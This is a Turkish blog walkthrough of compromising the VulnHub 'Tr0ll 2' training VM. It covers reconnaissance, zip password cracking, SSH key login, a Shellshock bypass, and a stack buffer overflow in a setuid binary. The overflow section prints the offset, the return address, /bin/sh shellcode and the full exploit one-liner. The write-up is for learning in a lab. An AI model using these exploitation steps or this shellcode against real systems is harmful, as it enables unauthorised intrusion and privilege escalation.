Troll 2 Zafiyetli Sanal Makinesinin Ele Geçirilme Senaryoları

Yüklenme Tarihi: 2019-04-01


Troll: 1 sanal makinesinin nasıl ele geçirildiğini bir önceki yazımda göstermiştim. Şimdi serinin ikinci versiyonu olan Troll: 2 sanal makinesinin nasıl sömürüldüğünü inceleyelim.

Aşağıdaki linkten makineyi bilgisayarınıza indirebilirsiniz:

https://www.vulnhub.com/entry/tr0ll-2,107/

Hedef sisteme erişimimiz var mı, IP adresi bilgileri neler hemen onlara bir bakalım. Kendi bilgisayarımın IP adresi 192.168.71.132. netdiscover aracıyla –r komutunu kullanarak sadece 192.168.71.0/24 ağında arama gerçekleştiriyorum. Hangi network kartı üzerinden tarama yapacağımıda –i eth0 komutuyla belirtiyorum.

"netdiscover –r 192.168.71.0/24 –i eth0"

Buradaki 1,2 ve 254 olan IP ler VmWare uygulamasının kullandığı IP adresleri. Onlarla bir işimiz yok. Hedefimiz 192.168.71.131 makinesi.

Hedef IP adres hakkında detaylı bilgi almak için nmap programından yardım alıyoruz.

"nmap –sS –sV –O 192.168.71.131 –p- "
-sS : SYN Scan taraması ile servis bilgilerini gösterir.
-sV : Servisler üzerinde çalışan versiyon bilgilerini gösterir.
-O : İşletim sistemi hakkında bilgi verir.
-p- : Tüm portlar üzerinde tarama yapar.

3 adet açık port bulduk. (21: Ftp, 22: Ssh, 80: Http)

Tarayıcıya hedef IP adresi girerek Http portuna bir bakalım.

İlk makinede olduğu gibi yine bir resimle karşılaştık. Dirbuster aracıyla farklı dizinlerde tarama yaparak birşey elde edebilirmiyiz bakalım.

"dirb http://192.168.71.131"

 


Robots.txt sayfasında farklı dizinler bulduk. 

Bu dizinleri teker teker denemek zaman alabilir. Bu yüzden dizin.txt dosyası oluşturup robots sayfasındakileri dizin.txt dosyasına atıyoruz. Sonra tekrardan dirb sorgusu yapıp dizin.txt içindekileri aramasını söylüyoruz.

"dirb http://192.168.71.131 /dizin.txt"

4 adet yeni dizin bulduk. Şimdi tarayıcıya bu adresleri girelim. Bakalım işe yarar birşey bulabilecek miyiz?

 
4 sayfada da aynı resimle karşılaştık. Bu resimleri kendi bilgisayarımıza indirip inceleyelim. "strings" komutu ile 4 resmide inceledim ve /dont_bother sayfasından indirdiğim resmin içinde saklanmış bir yazı buldum.

Cevap için y0ur_self ‘e bakmamı söylüyor sanki.Bende öyle yaparak /y0ur_self dizinine baktım ve answer.txt adında bir dosya buldum. 

Dosyayı "wget" komutuyla indirip içeriğine bakalım.

 


  

 

Karşımıza anlamsız gibi görülen ama aslında base64 ile kodlanmış veriler çıktı. (Nerden anladın base64 olduğunu derseniz; base64 kodlama sistemi büyük harf, küçük harf, rakamlar ve + / karakterlerini kullanır) Bize düşende bu dosyayı decode işlemine tabii tutarak içinden istediğimiz veriyi çekebilmek. Bunu yapabilmek için terminalde şu komutu giriyoruz.

"base64 --decode answer.txt >> decode.txt"

Answer.txt dosyasını decode işlemine tabii tuttuk ve decode.txt dosyası içine yazdırdık. Dosyamıza baktığımızda bir dünya gereksiz kelimeler arasından bir tanesi dikkatimizi çekmeyi başardı. “ItCanReallyBeThisEasyRightLOL”
Yine bir dizin ismimi acaba diyerek bakmakta fayda var. 

 


Malesef bu sefer olmadı. Bu cümleyi bi kenara not alıyoruz. İlerde lazım olabilir. Birazda FTP portu üzerinden denemelere devam edelim.

 

Bize ufak bir ipucu bırakmışlar sağolsunlar (Welcome to Troll FTP). Tr0ll kelimesiyle bi deneme yaptık ve bağlanmayı başardık.  ls komutuyla dizinde olanları listeledik ve lmao.zip adında sıkıştırılmış dosya bulduk. Bu dosyayıda get komutuyla bilgisayarımıza indirip inceleyelim.

 

Sıkıştırılmış dosyayı açmaya çalıştık fakat bizden şifre istiyor. Önceden lazım olur diye not aldığımız “ItCanReallyBeThisEasyRightLOL” cümlesini denediğimizde şifrenin doğru olduğunu gördük.

Alternatif olarak zipli dosya şifresini kırmanın diğer bir yolunu görelim.
Kali Linux ile hazır gelen fcrackzip uygulamasından faydalanıyoruz.

"fcrackzip –u –D –p decode.txt lmao.zip"

 

-u : Zipli dosyayı arşivden çıkartmak için
-D : Wordlist kullanarak brute force yapmak için
-p : Wordlist yolunu gösterdik (decode.txt dosyasını)

İki yolla da aynı parolayı elde etmiş olduk. 

 

Elimizde "noob" adında Private Key içeren bir dosya var. SSH bağlantısı için işimize yarar gibi gözüküyor. SSH ile bağlantı kurarken eğer yapılandırılmışsa parola yerine SSH key anahtarını göstererek uzak sunucuya bağlanmak mümkün. Bizde tam olarak bunu deneyelim.

"ssh noob@192.168.71.131 –i noob"
-i komutu ile SSH Key anahtarımızı gösterdik.

 

İşler kolay olmayacak gibi gözüküyor. Bağlantıyı sağladık fakat bağlandıktan hemen sonra bizi dışarı attı. Biraz internette bununla ilgili araştırma yaptım ve bu engeli SSH ShellShock ile geçebileceğimi gördüm.
Hedef üzerinde bağlantı sağlandıktan sonra girilen kodlarında çalıştığını farkettim ve bash kabuğu almayı başardım.

 

İçeride biraz gezindikten sonra /nothing_to_see_here/choose_wisely altında door1, door2, door3 klasörlerini buldum. Bunların içinde r00t adında çalıştırılabilir dosya mevcut. Sırayla hepsini denemeye başlayalım.


İlk klasörde patladık. Bizi dışarı attı.

Door2 klasörüne bakalım.

Burdada 2 dakika bekleme cezası aldık. Üçüncü klasörede bakalım ona göre izleyeceğimiz yolu çizelim.

 

Burda bizden bir input girmemizi istiyor. Girdiğimiz inputu bize çıktı olarak verdi. Peki input olarak çok fazla veri girmeyi denesek programı hataya sokabilirmiyiz acaba? 

 

DİKKAT: Yanlış kapıya gittiğimizde makine kendini yeniden başlatıyor ve door klasörleri içindeki r00t dosyalarının yeri değişiyor.Yani input değeri isteyen door3 klasörü makine yeniden başlayınca door2 klasöründe karşımıza çıkabiliyor. Buna önlem olarak choose_wisely klasöründe “ls –al *” komutunu kullanıp alt klasörlerin boyutlarına bakabilirsiniz. Bizim çalışacağımız klasör boyutu en büyük olan. Böylece yanlış yola sapmamış oluruz.

Bellek taşması (Buffer overflow) zafiyeti varmı ona bir bakalım. İnput değeri olarak 500 kere A harfini yazdıralım.

"./r00t $(python –c ‘print “A” * 500)"

 

Tam istediğimiz gibi burda bir “Segmentation fault” hatası aldık yani burada bir bellek taşma zafiyeti var. Kaçıncı karakterden sonra hata verdiğini bulmak için pattern_create aracıyla 400 karakterlik bir yazı hazırlayıp gdb ile çalıştıralım.

 
 
Programın hataya girdiği esnadaki 0x41332541 değerini alıp pattern_offset aracıyla kaçıncı değer olduğuna bakalım.

Program 268 karakterden sonra hataya düşüyor.

 

 
“i r esp” komutuyla ESP ‘nin 0xbffffb70 olduğunu gördük. 

NOT : İntel işlemciler little endian sistemini kullandığı için istismar kodumuzu yazarken ESP yi tersten yazmayı unutmuyoruz. ( \ x70 \ xfb \ xff \ xbf )

Atlamayı doğru yaptıktan sonra çalıştıracağımız kabuk kodumuzuda bulalım. İntel işlemci ve Linux 32 bit işletim sistemine uygun http://shell-storm.org/shellcode/files/shellcode-827.php  adresinden kodumuzu bulduk.

\ X31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ X73 \ x68 \ x68 \ x2f \ X62 \ x69 \ x6e \ x89 \ XE3 \ x50 \ x53 \ x89 \ XE1 \ xb0 \ x0b \ XCD \ x80

Evet herşey hazır gibi. Kodumuzun son haline bakalım.

./r00t $ (python -c 'print “A” * 268 + “\ x70 \ xfb \ xff \ xbf” + “\ x90” * 10 + “\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ X62 \ x69 \ x6e \ x89 \ XE3 \ x31 \ xc9 \ x89 \ XCA \ x6a \ x0b \ x58 \ XCD \ x80 ' ")

 
Kodumuz ilk başta çalışmadı. Sonra ESP değerindeki farkdan dolayı çalışmadığını internetten yaptığım araştırmayla farkettim. ESP değerini 0xbffffb70 yerine 0xbffffb80 olarak değiştirerek kodumu yeniden düzenledim.

./r00t $ (python -c 'print “A” * 268 + “\ x80 \ xfb \ xff \ xbf” + “\ x90” * 10 + “\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ X62 \ x69 \ x6e \ x89 \ XE3 \ x31 \ xc9 \ x89 \ XCA \ x6a \ x0b \ x58 \ XCD \ x80 ' ")

Sonunda makinede daha fazla yetki sahibi elde etmiş oldum. Ufak bir gezinti ile “root” klasörü içinde Proof.txt dosyasını buldum ve sonuç = You WIN


 

UYARI

Bu sitede anlatılanlar tamamen eğitim ve korunma amaçlıdır.

Anlatılan yöntemlerin yasa dışı ve kanuna aykırı şekilde kullanılması durumunda şahsım ve sitem sorumlu tutulamaz.

Buradaki bilgiler kullanılarak herhangi bir şahsın veya kurumun uğrayabileceği ya da uğradığını iddaa edebileceği kayıp ya da zararlara karşı sorumluluk kabul edilemez!

SİTEDE ARAMA YAP
SOSYAL MEDYA
social-medya-icon social-medya-icon social-medya-icon social-medya-icon
REKLAM ALANI
Vatan İnşaat

Aytekin UZUN | System Network Administrator

info@siberguvenlikportali.com
Copyright © 2020